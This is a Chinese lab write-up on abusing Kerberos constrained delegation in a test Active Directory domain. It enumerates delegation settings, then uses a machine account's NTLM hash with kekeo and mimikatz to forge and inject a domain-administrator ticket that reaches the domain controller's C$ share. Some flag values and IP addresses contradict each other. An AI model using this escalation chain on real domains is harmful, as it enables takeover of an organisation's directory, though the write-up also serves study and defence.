利用域委派获取域某些权限

0x01 域委派

将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。

域内委派主要有3种应用方式:

一. 非约束性委派Unconstrained Delegation 
    服务账号可以获取某用户的TGT,从而服务账号可使用该TGT,模拟用户访问任意服务。
    举例说明,如果某个服务A的服务账号B被设置为非约束委派,当用户C通过Kerberos认证访问服务A时,KDC会检查服务账号B的属性,发现是非约束性委派时,KDC会将用户C的TGT放在TGS中,这样B在验证TGS的同时获取了A用户的TGT,从而可以模拟用户A访问任意服务。
    从网络攻击的角度看,如果攻击者控制了服务账号B,并诱骗管理员来访问服务A,则可以获取管理员的TGT,进而模拟管理员访问任意服务,即获得管理员权限。越是大型网络、应用越多的网络,服务账号越多,委派的应用越多,越容易获取域管理员权限。
二. 约束性委派Constrained Delegation
    即Kerberos的扩展协议S4U2Proxy,服务账号只能获取某用户的TGS,从而只能模拟用户访问特定的服务;
三. 协议传递
    即Kerberos的扩展协议S4U2Self,服务账号针对某一个特定服务,可查询获取任意用户的TGS,从而能模拟任意用户访问该特定服务。

在Windows系统中,普通用户的属性中没有委派Delegation这个选项卡,只有服务账号、主机账号才有

WIN10-NEW$ : 192.168.19.8        加入域 DEMO.LOCAL
owa2010dc$   : 192.168.19.10    域服务器:DEMO.LOCAL
testwin10 : 域用戶

在域DEMO.LOCAL上设置WIN10-NEW$的delegation(在Service Manager -> Roles -> demo.local的computers里找到WIN10-NEW$右键设置),

--> Trust the computer for delegation to specified service only
    --> Use any authentication protocol
        --> 点击add -> 点击find now 
            --> owa2010dc(域机器名) ->ok->ok
                --> 选取cifs协议(共享)

delegation

查询服务账户(或者机器账号)的域委派权限方法

ldifde -f "C:\windows\temp\\ld.temp" -s owa2010dc -d "dc=demo,dc=local" -p subtree -r "(&(objectClass=User))" -l "*"
ldifde -f "C:\windows\temp\\ld.temp" -s owa2010dc -d "dc=demo,dc=local" -p subtree -r "(&(objectClass=User))" -l "cn,givenName,displayname,samAccountName,mail,department,title,description,scriptPath"

因为ldifde导出的WIN10-NEW机器账号:

userAccountControl: 16781312
WORKSTATION_TRUST_ACCOUNT : 4096
TRUSTED_FOR_DELEGATION : 16777216
==> 16777216 + 4096 = 16781312

根据https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx 符合规则。

属性标志 十进制
SCRIPT                                  = 1,        // 0x1
ACCOUNTDISABLE                          = 2,        // 0x2
HOMEDIR_REQUIRED                        = 8,        // 0x8
LOCKOUT                                 = 16,       // 0x10
PASSWD_NOTREQD                          = 32,       // 0x20
PASSWD_CANT_CHANGE                      = 64,       // 0x40
ENCRYPTED_TEXT_PASSWORD_ALLOWED         = 128,      // 0x80
TEMP_DUPLICATE_ACCOUNT                  = 256,      // 0x100
NORMAL_ACCOUNT                          = 512,      // 0x200
INTERDOMAIN_TRUST_ACCOUNT               = 2048,     // 0x800
WORKSTATION_TRUST_ACCOUNT               = 4096,     // 0x1000
SERVER_TRUST_ACCOUNT                    = 8192,     // 0x2000
DONT_EXPIRE_PASSWD                      = 65536,    // 0x10000
MNS_LOGON_ACCOUNT                       = 131072,   // 0x20000
SMARTCARD_REQUIRED                      = 262144,   // 0x40000
TRUSTED_FOR_DELEGATION                  = 524288,   // 0x80000
NOT_DELEGATED                           = 1048576,  // 0x100000
USE_DES_KEY_ONLY                        = 2097152,  // 0x200000
DONT_REQUIRE_PREAUTH                    = 4194304,  // 0x400000
PASSWORD_EXPIRED                        = 8388608,  // 0x800000
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION  = 16777216 // 0x1000000

或者通过PowerView的Get-DomainUser,查看userAccountControl是否包含 TRUSTED_FOR_DELEGATION

PS C:\PowerSploit-dev\Recon> Get-DomainUser testwin10 -Properties userAccountControl,msds-allowedtodelegateto | fl
useraccountcontrol : NORMAL_ACCOUNT, TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION

或者通过Windows自带AD管理模块

import-module activedirectory 
get-adcomputer -Filter {(TrustedForDelegation -eq $True)} -Properties TrustedForDelegation,TrustedToAuthForDelegation,ServicePrincipalName,Description    

或者PowerView的Get-DomainComputer(http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ ) :
通过PowerShell脚本枚举域内所有的机器账号,查看哪些账号被设置了委派,以及是何种类型的委派设置(获取机器的某些信息 包括useraccountcontrol,msds-allowedtodelegatetol):

PS C:\Users\Administrator\Desktop\PowerSploit\Recon> Get-ComputerProperty -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
distinguishedname        : CN=OWA2010DC,OU=Domain Controllers,DC=demo,DC=local
msds-allowedtodelegateto :
name                     : OWA2010DC
useraccountcontrol       : 532480

distinguishedname        : CN=OWA2010,CN=Computers,DC=demo,DC=local
msds-allowedtodelegateto :
name                     : OWA2010
useraccountcontrol       : 4096

distinguishedname        : CN=WIN10-NEW,CN=Computers,DC=demo,DC=local
msds-allowedtodelegateto : {cifs/OWA2010DC.demo.local/demo.local, cifs/OWA2010DC.demo.local, cifs/OWA2010DC, cifs/OWA20
                           10DC.demo.local/DEMO...}
name                     : WIN10-NEW
useraccountcontrol       : 16781312

computerproperty

或者PowerView的Get-UserProperty(通过PowerShell脚本枚举域内所有的用戶账号):

PS C:\Users\Administrator\Desktop\PowerSploit\Recon> Get-UserProperty -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
name                     : Administrator
distinguishedname        : CN=Administrator,CN=Users,DC=demo,DC=local
useraccountcontrol       : 66048
msds-allowedtodelegateto :

name                     : Guest
distinguishedname        : CN=Guest,CN=Users,DC=demo,DC=local
useraccountcontrol       : 66082
msds-allowedtodelegateto :

name                     : krbtgt
distinguishedname        : CN=krbtgt,CN=Users,DC=demo,DC=local
useraccountcontrol       : 514
msds-allowedtodelegateto :

name                     : testwin10
distinguishedname        : CN=testwin10,CN=Users,DC=demo,DC=local
useraccountcontrol       : 524800
msds-allowedtodelegateto :

或者 (获取机器的所有SPN信息 包括useraccountcontrol,msds-allowedtodelegateto)

C:\Users\Administrator>dsquery * -l -limit 0 -filter "&(!objectClass=computer)(servicePrincipalName=*)" -attr serviceprincipalname name samaccountname memberof pwdlastset distinguishedname useraccountcontrol
serviceprincipalname: kadmin/changepw
name: krbtgt
samaccountname: krbtgt
memberof: CN=Denied RODC Password Replication Group,CN=Users,DC=demo,DC=local
pwdlastset: 131182114793700226
distinguishedname: CN=krbtgt,CN=Users,DC=demo,DC=local
useraccountcontrol: 514
serviceprincipalname: test/test
name: testwin10
samaccountname: testwin10
memberof:
pwdlastset: 131602140228263620
distinguishedname: CN=testwin10,CN=Users,DC=demo,DC=local
useraccountcontrol: 524800

或者 PowerShell脚本枚举域帐户的SPN

GetUserSPNs - kerberoast
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

PS C:\Users\Administrator\Desktop\kerberoast> . .\GetUserSPNs.ps1
ServicePrincipalName : kadmin/changepw
Name                 : krbtgt
SAMAccountName       : krbtgt
MemberOf             : CN=Denied RODC Password Replication Group,CN=Users,DC=demo,DC=local
PasswordLastSet      : 9/13/2016 11:37:59 AM

ServicePrincipalName : test/test
Name                 : testwin10
SAMAccountName       : testwin10
MemberOf             :
PasswordLastSet      : 1/12/2018 3:00:22 PM

Get-NetUser - PowerView

PS C:\Users\Administrator\Desktop\PowerSploit\Recon> Get-NetUser -spn
objectsid              : S-1-5-21-1239069908-882060383-2558203358-502
iscriticalsystemobject : True
samaccounttype         : 805306368
primarygroupid         : 513
instancetype           : 4
badpasswordtime        : 1/1/1601 8:00:00 AM
lastlogoff             : 1/1/1601 8:00:00 AM
whenchanged            : 1/12/2018 6:32:42 AM
badpwdcount            : 0
useraccountcontrol     : 514
usncreated             : 12324
countrycode            : 0
admincount             : 1
objectcategory         : CN=Person,CN=Schema,CN=Configuration,DC=demo,DC=local
objectclass            : {top, person, organizationalPerson, user}
logoncount             : 0
lastlogon              : 1/1/1601 8:00:00 AM
serviceprincipalname   : kadmin/changepw
adspath                : LDAP://CN=krbtgt,CN=Users,DC=demo,DC=local
dscorepropagationdata  : {1/12/2018 6:32:42 AM, 9/13/2016 4:06:37 AM, 9/13/2016 3:53:08 AM, 1/1/1601 12:00:00 AM}
distinguishedname      : CN=krbtgt,CN=Users,DC=demo,DC=local
cn                     : krbtgt
pwdlastset             : 9/13/2016 11:37:59 AM
objectguid             : 547b1f4b-4f25-4a4f-96e9-2480d6f2e896
whencreated            : 9/13/2016 3:37:59 AM
description            : Key Distribution Center Service Account
samaccountname         : krbtgt
showinadvancedviewonly : True
memberof               : CN=Denied RODC Password Replication Group,CN=Users,DC=demo,DC=local
accountexpires         : 9223372036854775807
usnchanged             : 28705
name                   : krbtgt
codepage               : 0
objectsid             : S-1-5-21-1239069908-882060383-2558203358-1126
samaccounttype        : 805306368
primarygroupid        : 513
instancetype          : 4
badpasswordtime       : 1/17/2018 8:47:37 PM
accountexpires        : 0
whenchanged           : 1/13/2018 3:43:54 AM
badpwdcount           : 0
useraccountcontrol    : 524800
name                  : testwin10
codepage              : 0
objectclass           : {top, person, organizationalPerson, user}
logoncount            : 23
lastlogon             : 1/18/2018 7:37:12 AM
serviceprincipalname  : test/test
usncreated            : 32796
dscorepropagationdata : {1/13/2018 3:43:54 AM, 1/1/1601 12:00:00 AM}
distinguishedname     : CN=testwin10,CN=Users,DC=demo,DC=local
cn                    : testwin10
pwdlastset            : 1/12/2018 3:00:22 PM
objectguid            : 2d8ce475-2bd9-4827-a3ed-6e8b4695d516
whencreated           : 1/12/2018 7:00:22 AM
samaccountname        : testwin10
countrycode           : 0
objectcategory        : CN=Person,CN=Schema,CN=Configuration,DC=demo,DC=local
adspath               : LDAP://CN=testwin10,CN=Users,DC=demo,DC=local
usnchanged            : 33123
lastlogoff            : 1/1/1601 8:00:00 AM
lastlogontimestamp    : 1/12/2018 3:00:40 PM

或者 (使用dsquery获取机器的某些信息 包括useraccountcontrol,msds-allowedtodelegateto)

C:\Users\Administrator>dsquery * -limit 0 -filter "(&(objectCategory=computer)(objectClass=computer))" -attr cn operatingSystem distinguishedName useraccountcontrol msds-allowedtodelegateto
  cn           operatingSystem                      distinguishedName                                      useraccountcontrol    msds-allowedtodelegateto
  OWA2010DC    Windows Server 2008 R2 Datacenter    CN=OWA2010DC,OU=Domain Controllers,DC=demo,DC=local    532480
  OWA2010      Windows Server 2008 R2 Datacenter    CN=OWA2010,CN=Computers,DC=demo,DC=local               4096
  WIN10-NEW    Windows 10 Enterprise 2016 LTSB      CN=WIN10-NEW,CN=Computers,DC=demo,DC=local             16781312              cifs/OWA2010DC.demo.local/demo.local;cifs/OWA2010DC.demo.local;cifs/OWA2010DC;cifs/OWA2010DC.demo.local/DEMO;cifs/OWA2010DC/DEMO;

或者 (获取用戶某些信息 包括useraccountcontrol)

C:\Users\Administrator>dsquery * -limit 0 -filter "(&(objectCategory=user)(objectClass=user))" -attr cn distinguishedName useraccountcontrol msds-allowedtodelegateto
  cn             distinguishedName                             useraccountcontrol        msds-allowedtodelegateto
  Administrator  CN=Administrator,CN=Users,DC=demo,DC=local 66048
  Guest          CN=Guest,CN=Users,DC=demo,DC=local         66082
  krbtgt         CN=krbtgt,CN=Users,DC=demo,DC=local         514
  testwin10      CN=testwin10,CN=Users,DC=demo,DC=local     524800

测试主机为域内Windows 10系统,现在以普通域用户testwin10登录系统,IPC方式连接域服务器,访问域服务器的C盘目录,显示被拒绝,权限不够。

C:\Users\testwin10>whoami

demo\testwin10

C:\Users\testwin10>dir \owa2010dc.demo.local\c$

Access is denied.

testwin10

现在已知域内机器账号的口令(计算机的机器账号密码默认是随机的,每30天轮换一次),则可使用kekeo工具构造WIN10-NEW机器账号的票据。命令和执行结果如下

tgt::ask /user:WIN10-NEW$ /domain:demo.local /NTLM:5b8303606d3478a49e47650272fea13b

已知域内主机账号(机器账号WIN10-NEW$),使用kekeo工具构造该主机账号的TGT票据 :
kekeo

如果是服务账号的话命令就是:

tgt::ask /user:sqlsrv /domain:demo.local /password:xxx /ticket:sqlsrv.kirbi)
kekeo # tgt::ask /user:WIN10-NEW$ /domain:demo.local /NTLM:5b8303606d3478a49e47650272fea13b
Realm        : demo.local (demo)
User         : WIN10-NEW$ (WIN10-NEW$)
CName        : WIN10-NEW$       [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/demo.local        [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): 5b8303606d3478a49e47650272fea13b
[kdc] name: OWA2010DC.demo.local (auto)
[kdc] addr: 192.168.18.10 (auto)
  Ticket in file 'TGT_WIN10-NEW$@DEMO.LOCAL_krbtgt~demo.local@DEMO.LOCAL.kirbi'

小知识

Pass the Ticket (票据传递攻击PtT)
知道用户的ntlm值,由kekeo生成TGT票据,之后导入票据即可

由于设置了约束性委派所以利用刚才的WIN10-NEW$的TGT票据,像域服务器发起申请访问域服务器相应服务(CIFS共享服务)管理权限的TGS票据 :

Tgs::s4u /tgt:service_account_tgt_file /user:administrator@testlab.com /service:service_to_access

即:

kekeo # tgs::s4u /tgt:TGT_WIN10-NEW$@DEMO.LOCAL_krbtgt~demo.local@DEMO.LOCAL.kirbi /user:administrator@demo.local /service:cifs/OWA2010DC.demo.local
Ticket  : TGT_WIN10-NEW$@DEMO.LOCAL_krbtgt~demo.local@DEMO.LOCAL.kirbi
  [krb-cred]     S: krbtgt/demo.local @ DEMO.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: WIN10-NEW$ @ DEMO.LOCAL
  [enc-krb-cred] S: krbtgt/demo.local @ DEMO.LOCAL
  [enc-krb-cred] T: [1/12/2018 2:17:58 AM ; 1/12/2018 12:17:58 PM] {R:1/19/2018 2:17:58 AM}
  [enc-krb-cred] F: [40e00000] pre_authent ; initial ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac      ): a9e1f34bc1c62de37793943742e0f235a4ba0a0ec01a9899f52b1e9e7798970c
  [s4u2self]  administrator@demo.local
[kdc] name: OWA2010DC.demo.local (auto)
[kdc] addr: 192.168.18.10 (auto)
  Ticket in file 'TGS_administrator@demo.local@DEMO.LOCAL_WIN10-NEW$@DEMO.LOCAL.kirbi'
Service(s):
  [s4u2proxy] cifs/OWA2010DC.demo.local
  Ticket in file 'TGS_administrator@demo.local@DEMO.LOCAL_cifs~OWA2010DC.demo.local@DEMO.LOCAL.kirbi'

向域服务器发起申请访问域服务器相应服务(CIFS服务)管理权限的TGS票据
cfis1

ok

此时内存中已经有了访问域服务器CIFS服务的域管理员的TGS票据,需要将该票据(administrator的TGS票据)注入当前的会话中,使用mimikatz的kerberos::ptt命令可完成票据的注入。
注入票据后,当前的会话具备了访问域服务器C盘目录的权限 kekeo ticket 注入

kerberos::ptt TGS_administrator@demo.local@DEMO.LOCAL_cifs~OWA2010DC.demo.local@DEMO.LOCAL.kirbi

注入票据后,访问域服务器C盘目录的权限
cfis2

dir \\owa2010dc.demo.local\c$ ==> ok

(4个小时后TGT失效,需要重新认证。)

https://www.anquanke.com/post/id/92484 示例有四個,他演示的是示例1,这里演示的是示例4

样例1:已知被设置约束性委派属性的服务账号的口令明文,则可以获取域管理权限
样例2:已控制约束性委派服务账号所在的服务器
    攻击者控制了服务器,与样例1类似。由于攻击者控制了服务器,可直接利用mimikatz从内存获取服务账号的TGT,所以可以省去tgt::ask步骤,直接从tgs:s4u步骤开始,后续和样例1相同。
样例3:已获取配置了约束性委派的服务账号的口令NTLM
    和样例1相同,样例1用明文口令生成NTLM,然后向域服务器申请获取服务账号的TGT。Kekeo提供了该功能,可直接从NTLM开始,向域服务器申请TGT。
样例4:一个主机账号被设置了约束性委派,已获取该主机账号的口令NTLM
    方法和样例1也是类似,只不过样例1中是服务账号,而本样例中是主机账号。测试结果截图分别如下,不再过多解释。测试可在任何域内主机中进行,不需要在主机账号所在的主机。

0x02 后记

20180702
利用 Kerberos delegation 打造变种黄金票据
https://paper.seebug.org/620/

我测试的是域委派cifs服务SPN(共享服务),而这个文章直接测试的是krbtgt,意思是黄金票据和域委派相结合操作,挺牛逼的。
过程都一样,只是换了SPN和工具。

0x03 Reference

https://www.anquanke.com/post/id/92484  (作者笔误: "由于sqlsvc被设置为非约束性委派" 改成 "由于sqlsvc被设置为约束性委派" 已证明 )
http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
http://powersploit.readthedocs.io/en/latest/
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon